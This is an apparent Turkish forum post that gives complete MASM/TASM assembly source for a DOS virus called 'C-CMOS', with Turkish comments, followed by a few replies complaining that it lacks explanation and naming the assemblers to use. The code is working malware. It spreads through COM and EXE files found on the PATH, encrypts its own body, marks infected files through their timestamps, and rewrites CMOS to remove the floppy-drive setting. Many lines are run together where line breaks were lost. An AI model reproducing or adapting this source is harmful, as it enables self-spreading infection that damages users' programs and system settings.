Virus
-
Main Segment Byte
Assume cs:main,ds:main,ss:nothing
org 100hHost:
db 0E9h,0Ah,00 ;JMP NEAR PTR VIRUS icin obje kod
db ' '
db 90h,90h,90h
mov ah,4CH
mov al,0
int 21H ;normal DOS program sonlanma islemi; Virus kodu burada basliyor
Virus:
mov si,010Dh ;baslangic adresi aliniyor (DELTA OFSET);Com_Flag degiskenin degeri AL'ye aliniyor
mov al,cs:byte ptr [si + Com_Flag - Virus]
mov word ptr cs:[si + Psp_Seg - Virus],es ;PSP segment adresi saklaniyorpush ax ;Com/Exe flag degeri stack uzerinde saklaniyor
push es
push dspush cs
push cs
pop es ;ES = CS
pop ds ;DS = CSpush word ptr [si + Orig_IPCS - Virus] ;IP ve digerleri saklaniyor
push word ptr [si + Orig_IPCS - Virus + 2] ;CSpush word ptr [si + Orig_SSSP - Virus] ;SS
push word ptr [si + Orig_SSSP - Virus + 2] ;SPpush word ptr [si + Start_Code - Virus]
push word ptr [si + Start_Code - Virus + 2]lea dx,[si + DTA - Virus] ;yeni DTA adresi DS:DX icerisine aliniyor
mov ah,1ah ;yeni DTA set ediliyor
int 21h; CMOS icerisinde FDD siliniyor
mov dx,0012h ;guncellencek CMOS icin adres DX icerisine ataniyor
xor bx,bx ;yeni surucu tipi = 0 (FDD yok)
call CMOS_CHCKSMlea bp,[si + Com_Mask - Virus]
call Find_File ;Com dosyalar icin
lea bp,[si + Exe_Mask - Virus]
call Find_File ;Exe dosyalar icinExit_Virus:
mov ah,1ah
mov dx,80h ;orjinal DTA adresi set ediliyor
int 21h;Stack uzerine yazilan degerler degiskenler (IP, CS, SP, SS) icerisine aliniyor
pop word ptr [si + Start_Code - Virus + 2]
pop word ptr [si + Start_Code - Virus]cli
pop word ptr [si + Orig_SSSP - Virus + 2]
pop word ptr [si + Orig_SSSP - Virus]
stipop word ptr [si + Orig_IPCS - Virus + 2]
pop word ptr [si + Orig_IPCS - Virus]pop ds
pop es
pop ax ; Com_Flag stack uzerinden geri aliniyorcmp al,00 ; Bulasma islemi Com dosya icin mi?
je Restore_Commov bx,ds
add bx,low 10h
mov cx,bx
add bx,cs:word ptr [si + Orig_SSSP - Virus] ;SS geri yukleniyor
cli
mov ss,bx
mov sp,cs:word ptr [si + Orig_SSSP - Virus + 2] ;SP geri yukleniyor
sti
add cx,cs:word ptr [si + Orig_IPCS - Virus+ 2]
push cx ;CS Stack uzerine saklaniyor
push cs:word ptr [si + Orig_IPCS - Virus] ;IP stack uzerine saklaniyor
db 0CBh ;Asil programa donuluyorRestore_Com:
push si ;SI saklaniyor
cld ;Direction flagi temizleniyor
add si,offset Start_Code - offset Virus ;kaynak : DS:SI
mov di,0100h ;hedef : ES:DI
movsw
movsw
pop si ;SI geri aliniyormov ax,0100h ;Com dosya icin donus adresi
xor bx,bx
xor cx,cx
xor si,si
xor di,di
push ax
xor ax,ax
cwd
ret ; Com dosyanin basina donuluyorNo_Good:
stc
jmp Get_OutQuick_Exit:
stc ;Carry flagi set ediliyor
retCheck_N_Infect_File:
; saat uzerinde daha once bulasilmis mi? kontrolu yapiliyor
mov cx,word ptr [si + DTA_File_Time - Virus]
and cl,1Dh ;saniye 58 mi?
cmp cl,1Dh
je Quick_Exit ;evet ise cikiliyor; Dosya ozellikleri sifirlaniyor
lea dx,[si + Work_Area - Virus] ;DX=Path pointeri + Gecerli dosyaismi
xor cx,cx ;dosya ozellikleri kaldiriliyor
mov ax,4301h ;ozellikler set ediliyor
int 21h ;normal dosyaya ceviriliyor
jc Quick_Exitmov ax,3D02h ;R/W modunda dosya aciliyor
int 21h
jc No_Good
xchg ax,bx ;BX = dosya handle
; Dosyanin ilk 28 byte'i okunuyor
mov cx,28d
lea dx,[si + Start_Code - Virus]
mov ah,3Fh
int 21h
jc No_Good;dosyanin tipi kontrol ediliyor
cmp word ptr [si + Start_Code - Virus],'ZM' ;EXE dosya mi?
je Check_Execmp word ptr [si + Start_Code - Virus],'MZ' ;EXE dosya mi?
je Check_ExeCheck_Com:
mov ax,word ptr [si + DTA_File_Size - Virus] ;dosyanin uzunlugu aliniyor
push ax
add ax,100h + Decryptor_Size
mov word ptr [si + 1],ax
pop axadd ax,offset Final - offset Virus ;dosya uzunluguna virus ekleniyor
jc No_Good ;64 Kb buyukse hatacmp byte ptr [si + Start_Code - Virus],0E9H ;birinci byte JMP NEAR
;ile karsilastiriliyor
jne short Infect_Comcmp byte ptr [si + Start_Code+3 - Virus],20h ; ' ' ikinci kontrol yapiliyor
je No_Good
jmp short Infect_ComCheck_Exe:
cmp word ptr [si + Start_Code - Virus + 18h],40h ;Windows Exe mi?
je No_Goodcmp word ptr [si + Start_Code - Virus + 01Ah],0 ;Internal Overlay dosya mi?
jne No_Goodcmp word ptr [si + Start_Code - Virus + 12h],ID ;bulasilmis mi?
je No_GoodInfect_Exe:
mov byte ptr [si+ Com_Flag - Virus],01 ;flag EXE icin isaretleniyor
jmp short SkipInfect_Com:
mov byte ptr [si+ Com_Flag - Virus],00 ;flag COM icin isaretleniyorSkip:
; Dosya gostergeci en sona konumlandiriliyor
xor cx,cx
xor dx,dx
;cwd
mov ax,4202H
int 21hpush ax ;dosya uzunlugu stack uzerine saklaniyor
add ax,100h + Decryptor_Size
mov word ptr [si + Work_Buffer - Virus + 4],ax
mov ax,(offset Final - offset Virus)/2
mov word ptr [si + Work_Buffer - Virus + 1],axin al,40h ;AX icerisine rastgele bir sayi aliniyor (word)
xchg ah,al
in al,40h
xor ax,0813Ch
add ax,09249h
rol al,1
ror ah,1mov word ptr [si + Work_Buffer - Virus + 9],ax
pop ax ;dosya uzunlugu stack uzerinden geri aliniyor
cmp byte ptr [si+ Com_Flag - Virus],01 ;EXE dosya icin mi?
jne Do_Com;EXE header duzenleniyor ve yaziliyor
push bx ;dosya handleri stack uzerine saklaniyorpush si
cld
lea di,[si + Orig_SSSP - Virus]
lea si,[si + Start_Code - Virus + 14d]
movsw ;SS
movsw ;SPadd si,02
movsw ;IP
movsw ;CS
pop si;yeni CS:IP hesaplaniyor
mov bx,word ptr[si + Start_Code - Virus + 8]
mov cl,04
shl bx,clpush ax ;dosya uzunlugu stack uzerine saklaniyor
push dxsub ax,bx
sbb dx,0000hcall Calculate
mov word ptr [si+ Start_Code - Virus + 12h],ID
mov word ptr [si+ Start_Code - Virus + 14h],ax
add ax,Decryptor_Size
mov word ptr [si+1],ax
mov word ptr [si + Work_Buffer - Virus + 4],ax
mov word ptr [si+ Start_Code - Virus + 16h],dx;yeni SS:SP hesaplaniyor
pop dx ;dosya uzunlugu stack uzerinden geri aliniyor
pop axadd ax,offset Final - offset Virus
adc dx,0000hpush ax
push dx
add ax,40h
test al,01
jz Evenn
inc axEvenn:
call Calculatemov word ptr [si+ Start_Code - Virus + 10h],ax ;SP
mov word ptr [si+ Start_Code - Virus + 0Eh],dx ;SS;dosyanin yeni uzunlugu hesaplaniyor
pop dx
pop axpush ax
mov cl,0009h ;2 ^ 9 = 512
ror dx,cl ;/ 512 (sort of)
shr ax,cl ;/ 512
stc
adc dx,ax
pop cx
and ch,0001h ;mod 512mov word ptr [si+ Start_Code - Virus + 4],dx ;sayfa sayaci
mov word ptr [si+ Start_Code - Virus + 2],cx
pop bx ;dosya handle stack uzerinden geri aliniyorDo_Com:
lea dx,[si + Work_Buffer - Virus]
mov cx,Decryptor_Size ;yazilacak alanin uzunlugu
mov ah,40h ;dosyaya yaz
int 21hpush ds
push es
mov ax,0A00h
push ax
pop es ;ES=AX=0A00h
xor di,di ;DI=0
mov cx,(offset Final - offset Virus)/2 ;virus uzunlugu CX icerisine
push si
mov dx,word ptr [si + Work_Buffer - Virus + 9] ;DX icerisine rastgele degerenCRYPT:
lodsw
sub ax,dx
stosw
loop enCRYPTpop si
xor dx,dx
push es
pop ds;virus dosyaya yaziliyor
mov cx,offset Final - offset Virus ;virusun uzunlugu CX icerisine
mov ah,40h
int 21h ;dosyaya yaziliyorpop es
pop ds;dosya gostergeci en basa konumlandiriliyor
mov ax,4200h
xor cx,cx
xor dx,dx
;cwd
int 21hcmp byte ptr [si+ Com_Flag - Virus],01 ;EXE dosya icin mi?
jne Do_Com2;EXE header yaziliyor
mov cx,28d ;header alaninin uzunlugu CX icerisine
lea dx,[si + Start_Code - Virus]
jmp short ContDo_Com2:
;COM dosyanin basina 4 byte yaziliyor
mov ax,word ptr [si + DTA_File_Size - Virus]
sub ax,3
mov word ptr [si + Start_Image + 1 - Virus],axmov cx,4
lea dx,[si + Start_Image - Virus]Cont:
mov ah,40h ;DOS dosyaya yazma fonksiyonu
int 21h;bulasilan dosyanin tarih ve saat bilgileri yerine koyuluyor
mov ax,5701h
mov dx,word ptr [si + DTA_File_Date - Virus]
mov cx,word ptr [si + DTA_File_Time - Virus]
and cx,0FFE0h
or cl,1Dh ;saniye 58 'e ceviriliyor
int 21hGet_Out:
pushf
mov ah,3Eh
int 21h ;dosya kapatiliyor;orjinal dosya ozellikleri yerine konuluyor
mov ax,4301h
lea dx,[si + Work_Area - Virus]
xor cx,cx
mov cl,byte ptr [si + DTA_File_Attr - Virus]
int 21h
popf
retCalculate:
mov cl,0Ch
shl dx,cl ;DX * 4096
mov bx,ax
mov cl,4
shr bx,cl ;AX / 16
add dx,bx ;DX = DX * 4096 + AX / 16 = SS CS
and ax,0Fh ;AX = AX and 0Fh = SP IP
retFind_File:
push si
push es
mov es,es:word ptr [si + PSP_Seg - Virus]
mov es,es:2ch ;ENVIRONMENT adresi ES:DI icerisine
xor di,di
mov bx,siFind_Path:
lea si,[bx + Path_Str - Virus]
lodsb
mov cx,7FFFh ;ENVIRONMENT uzunlugu = 32768 byte CX icerisine
not cx ;CX = 8000h
repne scasb
mov cx,4Check_Next_4:
lodsb ;'ATH' icin tekrar kontrol yapiliyor
scasb
jne Find_Path
loop Check_Next_4mov word ptr [bx + Path_Address - Virus],di
lea di,[bx + Work_Area - Virus]
pop es
jmp short Copy_File_Spec_To_Work_AreaNo_File_Found:
cmp word ptr [bx + Path_Address - Virus],0 ;Path'in sonuna gelindi mi?
jne Follow_The_Path
jmp ExitFollow_The_Path:
lea di,[bx + Work_Area - Virus]
mov si,word ptr [bx + Path_Address - Virus]
mov ds,word ptr [bx + PSP_Seg - Virus]
mov ds,ds:2chUp_To_Lodsb:
lodsb ;bir karakter aliniyor
xchg cx,ax
cmp cl,';' ;karakter ';' mu?
xchg cx,ax
je Search_Again
cmp al,0 ;path string'in sonu mu?
je Clear_SI
stosb
jmp short Up_To_LodsbClear_SI:
xor si,siSearch_Again:
mov word ptr cs:[bx + Path_Address - Virus],si ;sonraki alt dizinin adresi
;saklaniyor
cmp byte ptr cs:[di-1],'\' ;'\' karakteri ile mi sonlaniyor?
je Copy_File_Spec_To_Work_Area
mov al,'\'
stosbCopy_File_Spec_To_Work_Area:
push cs
pop ds ;DS = CS
mov word ptr [bx + Filename_Ptr - Virus],di ;ES:DI = Work_Area
mov si,bp
mov cx,3 ;*.COM0/ *.EXE0 'nin uzunlugu
rep movsw;Find First File
mov ah,04EH ;DOS Find First File fonksiyonu
lea dx,[bx + Work_Area - Virus]
mov cx,3Fh ;ozellikler READONLY veya HIDDENFind_Next_File:
int 21H
jnc File_Found
jmp short No_File_FoundFile_Found:
mov di,word ptr [bx + Filename_Ptr - Virus]
lea si,[bx + DTA_File_Name - Virus]Move_Ascii_Filename:
lodsb
stosb
cmp al,0 ;ASCIIZ 'in sonu mu?
jne Move_Ascii_Filename
pop si
push bp ;COM/EXE string'inin gostergeci stack uzerine saklaniyor
call Check_N_Infect_File ;dosya bulundu ise kontrol ediliyor
pop bp ;COM/EXE string'inin gostergeci stack uzerinden geri aliniyor
jnc ExitX
mov bx,si
push si
mov ah,04Fh
jmp short Find_Next_FileExit:
pop siExitX:
retCmos_Chcksm:
; CMOS degeri CX registerina aliniyor
xor ax,ax
mov al,2Eh ;checksum yuksek byte adresi (msb)
out 70h,al ;adres portu
in al,71h ;1 byte okunuyorxchg ch,al
mov al,2Fh ;checksum dusuk byte adresi (lsb)
out 70h,al ;adres porta yaziliyor
in al,71h ;1 byte okunuyorxchg cl,al
; CMOS degeri duzeltiliyor
push dx
xchg dl,al ;AL = adres
out 70h,al ;adres porta yaziliyor (kontrol byte)
in al,71hsub cx,ax ;checksum degerinden cikartiliyor
add cx,bx ;checksum degeri guncelleniyor
; Deger belirtilen ozel CMOS adresine yaziliyor.
pop dx
xchg dl,al ;AL = adres
out 70h,al
xchg al,bl ;yeni CMOS degeri AL icerisine ataniyorout 71h,al
; Yeni CMOS checksum degeri yaziliyor.
mov al,2Eh ;checksum yuksek byte adresi
out 70h,al ;port adrese yaziliyor
xchg al,chout 71h,al ;yeni deger yuksek byte uzerine yaziliyor
mov al,2Fh ;checksum dusuk byte adresi
out 70h,al
xchg al,clout 71h,al ;yeni deger dusuk byte uzerine yaziliyor
retName_Author db 'C-CMOS'
Work_Buffer db 0B9h,00,00 ;mov cx,VSize
db 0BBh,00,00 ;mov si,VAddress
db 02Eh,081h,07,00,00 ;add word ptr cs:[si],Key
db 083h,0C3h,02 ;add si,02
;db 043h,043h ;inc bx, inc bx
db 0E2h,0F6h ;loop add..Com_Mask db '*.COM',0
Exe_Mask db '*.EXE',0
Path_Str db 'PATH=',0Start_Image db 0E9h,0,0,020h
Orig_SSSP dw 0,0
Orig_IPCS dw 0,0
Com_Flag db 0 ;0 = COM, 1= EXE
Start_Code db 4 dup (90h) ;COM ve EXE dosya icin 4 byte'lik ilk bolumFinal:
Heap:
Start_Code2 db 24d dup (0) ;EXE header'in ikinci bolumuPSP_Seg dw 0
Path_Address dw 0
Filename_Ptr dw 0
Work_Area db 64 DUP (0),'$'DTA db 21 dup(0)
DTA_File_Attr db ?
DTA_File_Time dw ?
DTA_File_Date dw ?
DTA_File_Size dd ?
DTA_File_Name db 13 dup(0)ID equ 77h
Decryptor_Size equ 16d ; equ OFFSET Work_Buffer - OFFSET Start_ImageMain Ends
END Host -
Almış c/p yapmışssın, ne açıklama var nede bir düzen.
-
; den sonrası açıklama
masm yada tasm la derle
-
AÇIKLAMASINI YAPSAYDIN DAHA İYİ OLURDU BENCE...
